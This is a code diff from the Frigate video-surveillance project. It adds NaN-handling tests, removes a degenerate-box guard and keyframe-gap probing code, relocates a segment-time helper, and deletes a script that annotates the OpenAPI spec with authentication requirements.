|
||||
def test_zero_area_detection_does_not_return_nan(self) -> None:
|
||||
detection = np.array([[805.0, 402.0], [805.0, 521.0]])
|
||||
d = distance(detection, self.estimate)
|
||||
self.assertFalse(math.isnan(d))
|
||||
self.assertEqual(d, float("inf"))
|
||||
|
||||
def test_inverted_estimate_corners_do_not_return_nan(self) -> None:
|
||||
# Kalman estimates can occasionally cross corners (x2 < x1)
|
||||
estimate = np.array([[860.0, 520.0], [800.0, 400.0]])
|
||||
d = distance(self.detection, estimate)
|
||||
self.assertFalse(math.isnan(d))
|
||||
self.assertEqual(d, float("inf"))
|
||||
|
||||
|
||||
class TestTransformIsFinite(unittest.TestCase):
|
||||
def test_finite_homography_is_finite(self) -> None:
|
||||
matrix = np.array([[1.0, 0.0, 5.0], [0.0, 1.0, 3.0], [0.0, 0.0, 1.0]])
|
||||
self.assertTrue(transform_is_finite(HomographyTransformation(matrix)))
|
||||
|
||||
def test_finite_translation_is_finite(self) -> None:
|
||||
self.assertTrue(
|
||||
transform_is_finite(TranslationTransformation(np.array([12.0, -4.0])))
|
||||
)
|
||||
|
||||
def test_non_finite_homography_is_not_finite(self) -> None:
|
||||
transform = HomographyTransformation(np.eye(3))
|
||||
# simulate accumulation overflowing to a non-finite matrix
|
||||
transform.homography_matrix = np.array(
|
||||
[[1.0, 0.0, np.inf], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]]
|
||||
)
|
||||
self.assertFalse(transform_is_finite(transform))
|
||||
|
||||
def test_nan_translation_is_not_finite(self) -> None:
|
||||
self.assertFalse(
|
||||
transform_is_finite(TranslationTransformation(np.array([np.nan, 0.0])))
|
||||
)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -45,17 +45,6 @@ def distance(detection: np.ndarray, estimate: np.ndarray) -> float:
|
||||
estimate_dim = np.diff(estimate, axis=0).flatten()
|
||||
detection_dim = np.diff(detection, axis=0).flatten()
|
||||
|
||||
# Guard against degenerate or non-finite boxes
|
||||
if (
|
||||
not np.all(np.isfinite(estimate_dim))
|
||||
or not np.all(np.isfinite(detection_dim))
|
||||
or estimate_dim[0] <= 0
|
||||
or estimate_dim[1] <= 0
|
||||
or detection_dim[0] <= 0
|
||||
or detection_dim[1] <= 0
|
||||
):
|
||||
return float("inf")
|
||||
|
||||
# get bottom center positions
|
||||
detection_position = np.array(
|
||||
[np.average(detection[:, 0]), np.max(detection[:, 1])]
|
||||
|
||||
+1
-22
@@ -14,16 +14,13 @@ import urllib.parse
|
||||
from collections.abc import Mapping
|
||||
from multiprocessing.managers import ValueProxy
|
||||
from pathlib import Path
|
||||
from typing import TYPE_CHECKING, Any, Dict, Optional, Tuple, Union
|
||||
from typing import Any, Dict, Optional, Tuple, Union
|
||||
|
||||
import numpy as np
|
||||
from ruamel.yaml import YAML
|
||||
|
||||
from frigate.const import REGEX_HTTP_CAMERA_USER_PASS, REGEX_RTSP_CAMERA_USER_PASS
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from frigate.config import CameraConfig
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
@@ -135,24 +132,6 @@ def get_ffmpeg_arg_list(arg: Any) -> list:
|
||||
return arg if isinstance(arg, list) else shlex.split(arg)
|
||||
|
||||
|
||||
# all built-in record presets use this segment_time
|
||||
DEFAULT_RECORD_SEGMENT_TIME = 10
|
||||
|
||||
|
||||
def get_record_segment_time(config: "CameraConfig") -> int:
|
||||
"""Extract -segment_time from the camera's record output args."""
|
||||
record_args = get_ffmpeg_arg_list(config.ffmpeg.output_args.record)
|
||||
|
||||
if record_args and record_args[0].startswith("preset"):
|
||||
return DEFAULT_RECORD_SEGMENT_TIME
|
||||
|
||||
try:
|
||||
idx = record_args.index("-segment_time")
|
||||
return int(record_args[idx + 1])
|
||||
except (ValueError, IndexError):
|
||||
return DEFAULT_RECORD_SEGMENT_TIME
|
||||
|
||||
|
||||
def load_labels(
|
||||
path: Optional[str], encoding="utf-8", prefill=91, indexed: bool | None = None
|
||||
):
|
||||
|
||||
@@ -879,131 +879,6 @@ def ffprobe_stream(ffmpeg, path: str, detailed: bool = False) -> sp.CompletedPro
|
||||
return result
|
||||
|
||||
|
||||
KEYFRAME_PROBE_WINDOW_SECONDS = 20
|
||||
KEYFRAME_GAP_WARNING_SECONDS = 4.0
|
||||
|
||||
|
||||
def parse_keyframe_packets(output: str) -> Tuple[List[float], Optional[float]]:
|
||||
"""Parse ffprobe CSV `pts_time,flags` output.
|
||||
|
||||
Returns the presentation timestamps of keyframes (flags containing "K")
|
||||
and the maximum timestamp observed across all packets.
|
||||
"""
|
||||
keyframe_pts: List[float] = []
|
||||
max_pts: Optional[float] = None
|
||||
|
||||
for line in output.splitlines():
|
||||
parts = line.split(",")
|
||||
if len(parts) < 2:
|
||||
continue
|
||||
try:
|
||||
pts = float(parts[0])
|
||||
except ValueError:
|
||||
continue
|
||||
if max_pts is None or pts > max_pts:
|
||||
max_pts = pts
|
||||
if "K" in parts[1]:
|
||||
keyframe_pts.append(pts)
|
||||
|
||||
return keyframe_pts, max_pts
|
||||
|
||||
|
||||
def classify_keyframe_gaps(
|
||||
keyframe_pts: List[float], segment_time: int
|
||||
) -> dict[str, Any]:
|
||||
"""Classify keyframe spacing for recording suitability.
|
||||
|
||||
A camera using a smart/+ codec or a long/variable GOP produces large or
|
||||
irregular gaps between keyframes, which breaks time-based recording
|
||||
segmentation. Severity:
|
||||
- "unknown" when fewer than two keyframes were observed
|
||||
- "error" when the longest gap exceeds the record segment length
|
||||
- "warning" when the longest gap exceeds the warning threshold
|
||||
- "ok" otherwise
|
||||
"""
|
||||
thresholds = {
|
||||
"warning": KEYFRAME_GAP_WARNING_SECONDS,
|
||||
"error": segment_time,
|
||||
}
|
||||
|
||||
if len(keyframe_pts) < 2:
|
||||
return {
|
||||
"keyframe_count": len(keyframe_pts),
|
||||
"max_gap": None,
|
||||
"mean_gap": None,
|
||||
"min_gap": None,
|
||||
"segment_time": segment_time,
|
||||
"severity": "unknown",
|
||||
"thresholds": thresholds,
|
||||
}
|
||||
|
||||
gaps = [b - a for a, b in zip(keyframe_pts, keyframe_pts[1:])]
|
||||
max_gap = max(gaps)
|
||||
|
||||
if max_gap > segment_time:
|
||||
severity = "error"
|
||||
elif max_gap > KEYFRAME_GAP_WARNING_SECONDS:
|
||||
severity = "warning"
|
||||
else:
|
||||
severity = "ok"
|
||||
|
||||
return {
|
||||
"keyframe_count": len(keyframe_pts),
|
||||
"max_gap": round(max_gap, 2),
|
||||
"mean_gap": round(sum(gaps) / len(gaps), 2),
|
||||
"min_gap": round(min(gaps), 2),
|
||||
"segment_time": segment_time,
|
||||
"severity": severity,
|
||||
"thresholds": thresholds,
|
||||
}
|
||||
|
||||
|
||||
async def analyze_record_keyframes(
|
||||
ffmpeg, url: str, segment_time: int, window: int = KEYFRAME_PROBE_WINDOW_SECONDS
|
||||
) -> dict[str, Any]:
|
||||
"""Probe a stream for ~`window` seconds and classify its keyframe spacing.
|
||||
|
||||
Reads video packet flags via ffprobe to find keyframes, then measures the
|
||||
gaps between them. On timeout or failure returns an "unknown" result rather
|
||||
than a false all-clear.
|
||||
"""
|
||||
clean_url = escape_special_characters(url)
|
||||
cmd = [
|
||||
ffmpeg.ffprobe_path,
|
||||
"-v",
|
||||
"error",
|
||||
"-select_streams",
|
||||
"v:0",
|
||||
"-read_intervals",
|
||||
f"%+{window}",
|
||||
"-show_entries",
|
||||
"packet=pts_time,flags",
|
||||
"-of",
|
||||
"csv=p=0",
|
||||
clean_url,
|
||||
]
|
||||
|
||||
try:
|
||||
proc = await asyncio.create_subprocess_exec(
|
||||
*cmd,
|
||||
stdout=asyncio.subprocess.PIPE,
|
||||
stderr=asyncio.subprocess.PIPE,
|
||||
)
|
||||
stdout, _ = await asyncio.wait_for(proc.communicate(), timeout=window + 15)
|
||||
except asyncio.TimeoutError:
|
||||
logger.warning("Keyframe probe timed out for record stream")
|
||||
proc.kill()
|
||||
return classify_keyframe_gaps([], segment_time)
|
||||
except OSError as err:
|
||||
logger.error("Keyframe probe failed: %s", err)
|
||||
return classify_keyframe_gaps([], segment_time)
|
||||
|
||||
keyframe_pts, max_pts = parse_keyframe_packets(stdout.decode("utf-8", "replace"))
|
||||
result = classify_keyframe_gaps(keyframe_pts, segment_time)
|
||||
result["duration_observed"] = round(max_pts, 2) if max_pts is not None else None
|
||||
return result
|
||||
|
||||
|
||||
def vainfo_hwaccel(device_name: Optional[str] = None) -> sp.CompletedProcess:
|
||||
"""Run vainfo."""
|
||||
if not device_name:
|
||||
|
||||
+19
-2
@@ -24,7 +24,7 @@ from frigate.config.camera.updater import (
|
||||
)
|
||||
from frigate.const import PROCESS_PRIORITY_HIGH
|
||||
from frigate.log import LogPipe
|
||||
from frigate.util.builtin import EventsPerSecond, get_record_segment_time
|
||||
from frigate.util.builtin import EventsPerSecond, get_ffmpeg_arg_list
|
||||
from frigate.util.ffmpeg import start_or_restart_ffmpeg, stop_ffmpeg
|
||||
from frigate.util.image import (
|
||||
FrameManager,
|
||||
@@ -34,6 +34,23 @@ from frigate.util.process import FrigateProcess
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# all built-in record presets use this segment_time
|
||||
DEFAULT_RECORD_SEGMENT_TIME = 10
|
||||
|
||||
|
||||
def _get_record_segment_time(config: CameraConfig) -> int:
|
||||
"""Extract -segment_time from the camera's record output args."""
|
||||
record_args = get_ffmpeg_arg_list(config.ffmpeg.output_args.record)
|
||||
|
||||
if record_args and record_args[0].startswith("preset"):
|
||||
return DEFAULT_RECORD_SEGMENT_TIME
|
||||
|
||||
try:
|
||||
idx = record_args.index("-segment_time")
|
||||
return int(record_args[idx + 1])
|
||||
except (ValueError, IndexError):
|
||||
return DEFAULT_RECORD_SEGMENT_TIME
|
||||
|
||||
|
||||
def capture_frames(
|
||||
ffmpeg_process: sp.Popen[Any],
|
||||
@@ -168,7 +185,7 @@ class CameraWatchdog(threading.Thread):
|
||||
# `valid` segments are published with the segment's start time, so the
|
||||
# gap between consecutive publishes can reach 2 * segment_time. Pad the
|
||||
# staleness threshold so it's never tighter than that worst case.
|
||||
segment_time = get_record_segment_time(self.config)
|
||||
segment_time = _get_record_segment_time(self.config)
|
||||
self.record_stale_threshold = max(120, 2 * segment_time + 30)
|
||||
|
||||
# Stall tracking (based on last processed frame)
|
||||
|
||||
@@ -1,606 +0,0 @@
|
||||
"""Generate the OpenAPI spec from the app, annotated with auth requirements.
|
||||
|
||||
This generator builds the FastAPI application, exports its OpenAPI document via
|
||||
``app.openapi()``, and enriches every operation with authentication metadata:
|
||||
|
||||
* a ``components.securitySchemes`` block,
|
||||
* a per-operation ``security`` requirement (so the docs render a lock badge),
|
||||
* an ``x-required-role`` extension for machine readers, and
|
||||
* a short bold ``Access:`` note prepended to each operation description.
|
||||
|
||||
The committed docs/static/frigate-api.yaml is the output of this script. It is
|
||||
generated rather than hand-maintained so it stays complete and current; the docs
|
||||
build (docusaurus-plugin-openapi-docs) consumes it as-is.
|
||||
|
||||
The access level for an endpoint is determined by BOTH its route-level
|
||||
dependency (``require_role``/``allow_any_authenticated``/``allow_public``/
|
||||
``require_camera_access``) AND the global "secure by default" admin dependency,
|
||||
which is bypassed only for the paths listed in ``require_admin_by_default``.
|
||||
Those exempt lists are read directly from the function's closure so this script
|
||||
stays in lockstep with ``frigate/api/auth.py`` instead of duplicating them.
|
||||
|
||||
Many handlers enforce per-camera access by calling ``require_camera_access``
|
||||
inside the handler body rather than as a route dependency, which dependency
|
||||
introspection cannot see. We recover those from the handler's bytecode (see
|
||||
``_handler_enforces_camera``) and promote an otherwise "any authenticated"
|
||||
operation to camera-scoped.
|
||||
|
||||
Usage (from the repository root):
|
||||
|
||||
python3 generate_api_auth_spec.py # write the spec
|
||||
python3 generate_api_auth_spec.py --check # CI guard: fail if stale
|
||||
|
||||
The process exits non-zero if the generated document fails structural
|
||||
validation, or (in --check mode) if the committed spec is out of date.
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import difflib
|
||||
import inspect
|
||||
import io
|
||||
import logging
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
from fastapi import FastAPI
|
||||
from fastapi.routing import APIRoute
|
||||
from ruamel.yaml import YAML
|
||||
from ruamel.yaml.scalarstring import LiteralScalarString
|
||||
|
||||
from frigate.api import app as main_app
|
||||
from frigate.api import (
|
||||
auth,
|
||||
camera,
|
||||
chat,
|
||||
classification,
|
||||
debug_replay,
|
||||
event,
|
||||
export,
|
||||
media,
|
||||
motion_search,
|
||||
notification,
|
||||
preview,
|
||||
record,
|
||||
review,
|
||||
)
|
||||
from frigate.api.auth import require_admin_by_default
|
||||
|
||||
logging.basicConfig(level=logging.INFO, format="%(message)s")
|
||||
logger = logging.getLogger("generate_api_auth_spec")
|
||||
|
||||
REPO_ROOT = Path(__file__).resolve().parent
|
||||
OUTPUT_SPEC = REPO_ROOT / "docs" / "static" / "frigate-api.yaml"
|
||||
|
||||
HTTP_METHODS = {"get", "post", "put", "delete", "patch"}
|
||||
|
||||
# Banner written at the top of the generated spec.
|
||||
HEADER = (
|
||||
"# Generated by generate_api_auth_spec.py — do not edit by hand.\n"
|
||||
"# Regenerate with: python3 generate_api_auth_spec.py\n"
|
||||
"# The empty info.title is intentional: a docusaurus-openapi-docs convention\n"
|
||||
"# that suppresses the generated API introduction page.\n"
|
||||
)
|
||||
|
||||
# Post-processing applied on top of the raw app.openapi() export. These live
|
||||
# only in the published spec, not in the app, so they are reproduced here.
|
||||
SPEC_TITLE = ""
|
||||
SPEC_SERVERS = [
|
||||
{"url": "https://demo.frigate.video/api"},
|
||||
{"url": "http://localhost:5001/api"},
|
||||
]
|
||||
|
||||
# Access levels, ordered from least to most privileged. The string values are
|
||||
# also what we emit as ``x-required-role``.
|
||||
PUBLIC = "public"
|
||||
AUTHENTICATED = "any"
|
||||
CAMERA = "camera"
|
||||
ADMIN = "admin"
|
||||
|
||||
ADMIN_SCHEME = "frigateAdminAuth"
|
||||
USER_SCHEME = "frigateUserAuth"
|
||||
|
||||
SECURITY_SCHEMES = {
|
||||
ADMIN_SCHEME: {
|
||||
"type": "apiKey",
|
||||
"in": "cookie",
|
||||
"name": "frigate_token",
|
||||
"description": (
|
||||
"Authenticated session whose resolved role is 'admin'. The session "
|
||||
"is established via the JWT cookie issued by POST /login, or via "
|
||||
"proxy auth headers (remote-user / remote-role) when Frigate runs "
|
||||
"behind an authenticating reverse proxy."
|
||||
),
|
||||
},
|
||||
USER_SCHEME: {
|
||||
"type": "apiKey",
|
||||
"in": "cookie",
|
||||
"name": "frigate_token",
|
||||
"description": (
|
||||
"Any authenticated session (role 'viewer' or higher), established "
|
||||
"via the JWT cookie issued by POST /login, or via proxy auth "
|
||||
"headers when Frigate runs behind an authenticating reverse proxy."
|
||||
),
|
||||
},
|
||||
}
|
||||
|
||||
# How each access level maps to a rendered note.
|
||||
ACCESS_NOTES = {
|
||||
PUBLIC: "**Access:** Public — no authentication required.",
|
||||
AUTHENTICATED: "**Access:** Any authenticated user.",
|
||||
CAMERA: "**Access:** Authenticated user with access to the referenced camera.",
|
||||
ADMIN: "**Access:** Admin role required.",
|
||||
}
|
||||
|
||||
|
||||
def build_app() -> FastAPI:
|
||||
"""Build a bare app with every router mounted.
|
||||
|
||||
This mirrors the router set wired up in frigate.api.fastapi_app. It omits
|
||||
the global admin dependency and all runtime state; the OpenAPI route table
|
||||
and the per-route dependencies are all we need to export and classify.
|
||||
"""
|
||||
app = FastAPI()
|
||||
routers = [
|
||||
auth.router,
|
||||
camera.router,
|
||||
chat.router,
|
||||
classification.router,
|
||||
review.router,
|
||||
main_app.router,
|
||||
preview.router,
|
||||
notification.router,
|
||||
export.router,
|
||||
event.router,
|
||||
media.router,
|
||||
motion_search.router,
|
||||
record.router,
|
||||
debug_replay.router,
|
||||
]
|
||||
for router in routers:
|
||||
app.include_router(router)
|
||||
return app
|
||||
|
||||
|
||||
def read_exempt_rules() -> tuple[set[str], tuple[str, ...]]:
|
||||
"""Read the admin-exemption lists straight from the auth dependency closure.
|
||||
|
||||
Reading them here (rather than copying) keeps this generator in sync with
|
||||
frigate/api/auth.py automatically.
|
||||
"""
|
||||
closure = inspect.getclosurevars(require_admin_by_default()).nonlocals
|
||||
exempt_paths = set(closure["EXEMPT_PATHS"])
|
||||
exempt_prefixes = tuple(closure["EXEMPT_PREFIXES"])
|
||||
return exempt_paths, exempt_prefixes
|
||||
|
||||
|
||||
def _first_segment(path: str) -> str:
|
||||
return path.split("/", 2)[1] if path.startswith("/") and len(path) > 1 else ""
|
||||
|
||||
|
||||
def _route_markers(route: APIRoute) -> tuple[set[str], list[str] | None]:
|
||||
"""Return the set of recognized auth markers on a route's dependencies."""
|
||||
markers: set[str] = set()
|
||||
admin_roles: list[str] | None = None
|
||||
|
||||
for dep in route.dependant.dependencies:
|
||||
call = dep.call
|
||||
qualname = getattr(call, "__qualname__", "") or ""
|
||||
name = getattr(call, "__name__", "") or ""
|
||||
|
||||
if "role_checker" in qualname:
|
||||
markers.add(ADMIN)
|
||||
try:
|
||||
roles = inspect.getclosurevars(call).nonlocals.get("required_roles")
|
||||
if roles:
|
||||
admin_roles = list(roles)
|
||||
except (TypeError, ValueError):
|
||||
pass
|
||||
elif name in ("require_camera_access", "require_go2rtc_stream_access"):
|
||||
markers.add(CAMERA)
|
||||
elif "auth_checker" in qualname:
|
||||
markers.add(AUTHENTICATED)
|
||||
elif "public_checker" in qualname:
|
||||
markers.add(PUBLIC)
|
||||
|
||||
return markers, admin_roles
|
||||
|
||||
|
||||
def _handler_enforces_camera(route: APIRoute) -> bool:
|
||||
"""True if the route handler calls require_camera_access in its body.
|
||||
|
||||
Such calls are invisible to dependency introspection. We detect them from
|
||||
the handler's compiled bytecode: a global name referenced anywhere in the
|
||||
function appears in ``__code__.co_names``. This catches direct calls (all of
|
||||
them, currently); a call hidden behind a helper function would be missed.
|
||||
"""
|
||||
code = getattr(route.endpoint, "__code__", None)
|
||||
return bool(code and "require_camera_access" in code.co_names)
|
||||
|
||||
|
||||
def classify_route(
|
||||
route: APIRoute,
|
||||
exempt_paths: set[str],
|
||||
exempt_prefixes: tuple[str, ...],
|
||||
) -> tuple[str, list[str] | None, str | None]:
|
||||
"""Resolve the effective access level for a route.
|
||||
|
||||
Returns (access_level, roles, flag). ``flag`` is a human-readable note when
|
||||
the result needed inference or revealed a possible inconsistency.
|
||||
"""
|
||||
level, roles, flag = _classify_base(route, exempt_paths, exempt_prefixes)
|
||||
|
||||
# In-body require_camera_access enforcement is invisible to dependency
|
||||
# introspection. When the effective access would otherwise be "any
|
||||
# authenticated", the handler's per-camera check is the real constraint, so
|
||||
# promote it to camera-scoped. Admin/public are left alone: for admin the
|
||||
# role is the binding requirement and the camera check is only defensive.
|
||||
if level == AUTHENTICATED and _handler_enforces_camera(route):
|
||||
return CAMERA, None, None
|
||||
|
||||
return level, roles, flag
|
||||
|
||||
|
||||
def _classify_base(
|
||||
route: APIRoute,
|
||||
exempt_paths: set[str],
|
||||
exempt_prefixes: tuple[str, ...],
|
||||
) -> tuple[str, list[str] | None, str | None]:
|
||||
"""Resolve the access level from route-level dependencies and exempt rules."""
|
||||
markers, admin_roles = _route_markers(route)
|
||||
path = route.path
|
||||
is_camera_path = _first_segment(path) == "{camera_name}"
|
||||
exempt = path in exempt_paths or path.startswith(exempt_prefixes) or is_camera_path
|
||||
|
||||
# Explicit route-level markers win, in order of specificity.
|
||||
if ADMIN in markers:
|
||||
return ADMIN, admin_roles or ["admin"], None
|
||||
if CAMERA in markers:
|
||||
return CAMERA, None, None
|
||||
if AUTHENTICATED in markers:
|
||||
if exempt:
|
||||
return AUTHENTICATED, None, None
|
||||
# The route opts in to any-authenticated, but the global admin check is
|
||||
# not bypassed for this path, so admin is what actually gets enforced.
|
||||
return (
|
||||
ADMIN,
|
||||
["admin"],
|
||||
(
|
||||
"route declares allow_any_authenticated but path is not exempt from "
|
||||
"the global admin check; admin is effectively enforced"
|
||||
),
|
||||
)
|
||||
if PUBLIC in markers:
|
||||
if exempt:
|
||||
return PUBLIC, None, None
|
||||
return (
|
||||
ADMIN,
|
||||
["admin"],
|
||||
(
|
||||
"route declares allow_public but path is not exempt from the global "
|
||||
"admin check; admin is effectively enforced"
|
||||
),
|
||||
)
|
||||
|
||||
# No explicit auth marker: governed purely by the global default.
|
||||
if not exempt:
|
||||
return ADMIN, ["admin"], None
|
||||
|
||||
# Exempt with no route dependency: the global admin check is bypassed and
|
||||
# there is no route-level gate, so authorization (if any) happens inside the
|
||||
# handler. Infer from the path shape and flag for confirmation.
|
||||
if is_camera_path:
|
||||
return (
|
||||
CAMERA,
|
||||
None,
|
||||
(
|
||||
"no route-level dependency; camera-scoped path, authorization "
|
||||
"assumed to be enforced in the handler"
|
||||
),
|
||||
)
|
||||
return (
|
||||
AUTHENTICATED,
|
||||
None,
|
||||
(
|
||||
"path is exempt from the global admin check but has no route-level "
|
||||
"dependency; confirm authorization is enforced in the handler"
|
||||
),
|
||||
)
|
||||
|
||||
|
||||
def build_access_map(
|
||||
app: FastAPI,
|
||||
exempt_paths: set[str],
|
||||
exempt_prefixes: tuple[str, ...],
|
||||
) -> dict[tuple[str, str], dict]:
|
||||
"""Map (path, lowercase method) -> classification details."""
|
||||
access_map: dict[tuple[str, str], dict] = {}
|
||||
for route in app.routes:
|
||||
if not isinstance(route, APIRoute):
|
||||
continue
|
||||
level, roles, flag = classify_route(route, exempt_paths, exempt_prefixes)
|
||||
for method in route.methods:
|
||||
if method in ("HEAD", "OPTIONS"):
|
||||
continue
|
||||
access_map[(route.path, method.lower())] = {
|
||||
"level": level,
|
||||
"roles": roles,
|
||||
"flag": flag,
|
||||
"path": route.path,
|
||||
"method": method,
|
||||
}
|
||||
return access_map
|
||||
|
||||
|
||||
def security_for(level: str) -> list:
|
||||
"""Build the OpenAPI ``security`` value for an access level."""
|
||||
if level == PUBLIC:
|
||||
return []
|
||||
if level == ADMIN:
|
||||
return [{ADMIN_SCHEME: []}]
|
||||
# AUTHENTICATED and CAMERA both require any authenticated session; the
|
||||
# camera-specific scoping is conveyed in the note and x-required-role.
|
||||
return [{USER_SCHEME: []}]
|
||||
|
||||
|
||||
def required_role_value(level: str, roles: list[str] | None):
|
||||
if level == ADMIN and roles and roles != ["admin"]:
|
||||
return roles
|
||||
return level
|
||||
|
||||
|
||||
def annotate_description(operation: dict, note: str) -> None:
|
||||
existing = operation.get("description")
|
||||
if not existing:
|
||||
operation["description"] = note
|
||||
return
|
||||
operation["description"] = LiteralScalarString(
|
||||
f"{note}\n\n{str(existing).rstrip()}"
|
||||
)
|
||||
|
||||
|
||||
def base_document(raw: dict) -> dict:
|
||||
"""Apply the docs pipeline post-processing with a stable top-level order."""
|
||||
info = dict(raw.get("info", {}))
|
||||
info["title"] = SPEC_TITLE
|
||||
return {
|
||||
"openapi": raw["openapi"],
|
||||
"info": info,
|
||||
"servers": [dict(server) for server in SPEC_SERVERS],
|
||||
"paths": raw["paths"],
|
||||
"components": raw.get("components", {}),
|
||||
}
|
||||
|
||||
|
||||
def enrich(spec: dict, access_map: dict) -> tuple[dict, list, list]:
|
||||
"""Add security schemes and per-operation auth metadata in place."""
|
||||
components = spec.setdefault("components", {})
|
||||
components["securitySchemes"] = dict(SECURITY_SCHEMES)
|
||||
|
||||
counts: dict[str, int] = {}
|
||||
flagged: list[dict] = []
|
||||
unmatched: list[tuple[str, str]] = []
|
||||
|
||||
for path, path_item in spec["paths"].items():
|
||||
for method, operation in path_item.items():
|
||||
if method.lower() not in HTTP_METHODS:
|
||||
continue
|
||||
details = access_map.get((path, method.lower()))
|
||||
if details is None:
|
||||
unmatched.append((method.upper(), path))
|
||||
continue
|
||||
|
||||
level = details["level"]
|
||||
counts[level] = counts.get(level, 0) + 1
|
||||
operation["security"] = security_for(level)
|
||||
operation["x-required-role"] = required_role_value(level, details["roles"])
|
||||
annotate_description(operation, ACCESS_NOTES[level])
|
||||
|
||||
if details["flag"]:
|
||||
flagged.append(details)
|
||||
|
||||
return counts, flagged, unmatched
|
||||
|
||||
|
||||
# Numeric defaults at or above this magnitude are treated as live Unix
|
||||
# timestamps baked into the schema at import time (e.g. the /{camera_name}
|
||||
# /recordings after/before params default to datetime.now()). They make the
|
||||
# export non-deterministic and document a meaningless frozen epoch, so they are
|
||||
# stripped. The proper fix is to default those route params to None and resolve
|
||||
# "now" inside the handler.
|
||||
VOLATILE_DEFAULT_THRESHOLD = 1_000_000_000
|
||||
|
||||
|
||||
def strip_volatile_defaults(node, trail: str = "") -> list[tuple[str, float]]:
|
||||
"""Remove epoch-like numeric ``default`` values so the export is stable.
|
||||
|
||||
Returns the (location, value) pairs that were removed, for reporting.
|
||||
"""
|
||||
removed: list[tuple[str, float]] = []
|
||||
if isinstance(node, dict):
|
||||
default = node.get("default")
|
||||
if (
|
||||
isinstance(default, (int, float))
|
||||
and not isinstance(default, bool)
|
||||
and default >= VOLATILE_DEFAULT_THRESHOLD
|
||||
):
|
||||
removed.append((trail, default))
|
||||
del node["default"]
|
||||
for key, value in node.items():
|
||||
removed.extend(strip_volatile_defaults(value, f"{trail}/{key}"))
|
||||
elif isinstance(node, list):
|
||||
for index, value in enumerate(node):
|
||||
removed.extend(strip_volatile_defaults(value, f"{trail}[{index}]"))
|
||||
return removed
|
||||
|
||||
|
||||
def to_block_scalars(node):
|
||||
"""Recursively render multi-line strings as literal block scalars.
|
||||
|
||||
Produces readable, deterministic YAML (``|-`` blocks) instead of long
|
||||
double-quoted lines with escaped newlines.
|
||||
"""
|
||||
if isinstance(node, dict):
|
||||
return {key: to_block_scalars(value) for key, value in node.items()}
|
||||
if isinstance(node, list):
|
||||
return [to_block_scalars(value) for value in node]
|
||||
if isinstance(node, str) and "\n" in node:
|
||||
return LiteralScalarString(node)
|
||||
return node
|
||||
|
||||
|
||||
def _iter_refs(node):
|
||||
if isinstance(node, dict):
|
||||
for key, value in node.items():
|
||||
if key == "$ref" and isinstance(value, str):
|
||||
yield value
|
||||
else:
|
||||
yield from _iter_refs(value)
|
||||
elif isinstance(node, list):
|
||||
for value in node:
|
||||
yield from _iter_refs(value)
|
||||
|
||||
|
||||
def validate(spec: dict) -> list[str]:
|
||||
"""Structural sanity checks on the generated document."""
|
||||
problems: list[str] = []
|
||||
schemas = set(spec.get("components", {}).get("schemas", {}))
|
||||
defined_schemes = set(spec.get("components", {}).get("securitySchemes", {}))
|
||||
|
||||
for ref in _iter_refs(spec):
|
||||
if ref.startswith("#/components/schemas/"):
|
||||
name = ref.rsplit("/", 1)[-1]
|
||||
if name not in schemas:
|
||||
problems.append(f"dangling $ref: {ref}")
|
||||
|
||||
for path, path_item in spec.get("paths", {}).items():
|
||||
for method, operation in path_item.items():
|
||||
if method.lower() not in HTTP_METHODS or not isinstance(operation, dict):
|
||||
continue
|
||||
location = f"{method.upper()} {path}"
|
||||
if "x-required-role" not in operation:
|
||||
problems.append(f"missing x-required-role: {location}")
|
||||
if "security" not in operation:
|
||||
problems.append(f"missing security: {location}")
|
||||
continue
|
||||
for requirement in operation["security"]:
|
||||
for scheme in requirement:
|
||||
if scheme not in defined_schemes:
|
||||
problems.append(
|
||||
f"undefined security scheme {scheme}: {location}"
|
||||
)
|
||||
|
||||
return sorted(set(problems))
|
||||
|
||||
|
||||
def render(spec: dict) -> str:
|
||||
"""Serialize the spec to the canonical YAML string (with the header)."""
|
||||
yaml = YAML()
|
||||
yaml.width = 80
|
||||
yaml.indent(mapping=2, sequence=4, offset=2)
|
||||
stream = io.StringIO()
|
||||
yaml.dump(spec, stream)
|
||||
return HEADER + stream.getvalue()
|
||||
|
||||
|
||||
def build_spec() -> tuple[dict, dict, list, list, list]:
|
||||
app = build_app()
|
||||
exempt_paths, exempt_prefixes = read_exempt_rules()
|
||||
access_map = build_access_map(app, exempt_paths, exempt_prefixes)
|
||||
|
||||
spec = base_document(app.openapi())
|
||||
normalized = strip_volatile_defaults(spec)
|
||||
counts, flagged, unmatched = enrich(spec, access_map)
|
||||
spec = to_block_scalars(spec)
|
||||
return spec, counts, flagged, unmatched, normalized
|
||||
|
||||
|
||||
def main(argv: list[str] | None = None) -> int:
|
||||
parser = argparse.ArgumentParser(description="Generate the annotated OpenAPI spec.")
|
||||
parser.add_argument(
|
||||
"--check",
|
||||
action="store_true",
|
||||
help="verify the committed spec is up to date without writing; "
|
||||
"exit non-zero if it would change",
|
||||
)
|
||||
args = parser.parse_args(argv)
|
||||
|
||||
spec, counts, flagged, unmatched, normalized = build_spec()
|
||||
problems = validate(spec)
|
||||
rendered = render(spec)
|
||||
|
||||
if args.check:
|
||||
return _check(rendered, problems)
|
||||
|
||||
if problems:
|
||||
logger.error("Refusing to write — generated spec failed validation:")
|
||||
for problem in problems:
|
||||
logger.error(" %s", problem)
|
||||
return 1
|
||||
|
||||
OUTPUT_SPEC.write_text(rendered)
|
||||
_report(counts, flagged, unmatched, normalized)
|
||||
logger.info("\nWrote %s", OUTPUT_SPEC.relative_to(REPO_ROOT))
|
||||
return 0
|
||||
|
||||
|
||||
def _check(rendered: str, problems: list[str]) -> int:
|
||||
name = OUTPUT_SPEC.relative_to(REPO_ROOT)
|
||||
if problems:
|
||||
logger.error("Generated spec failed validation:")
|
||||
for problem in problems:
|
||||
logger.error(" %s", problem)
|
||||
return 1
|
||||
|
||||
current = OUTPUT_SPEC.read_text() if OUTPUT_SPEC.exists() else ""
|
||||
if current == rendered:
|
||||
logger.info("%s is up to date", name)
|
||||
return 0
|
||||
|
||||
logger.error(
|
||||
"%s is out of date. Regenerate with: python3 %s",
|
||||
name,
|
||||
Path(__file__).name,
|
||||
)
|
||||
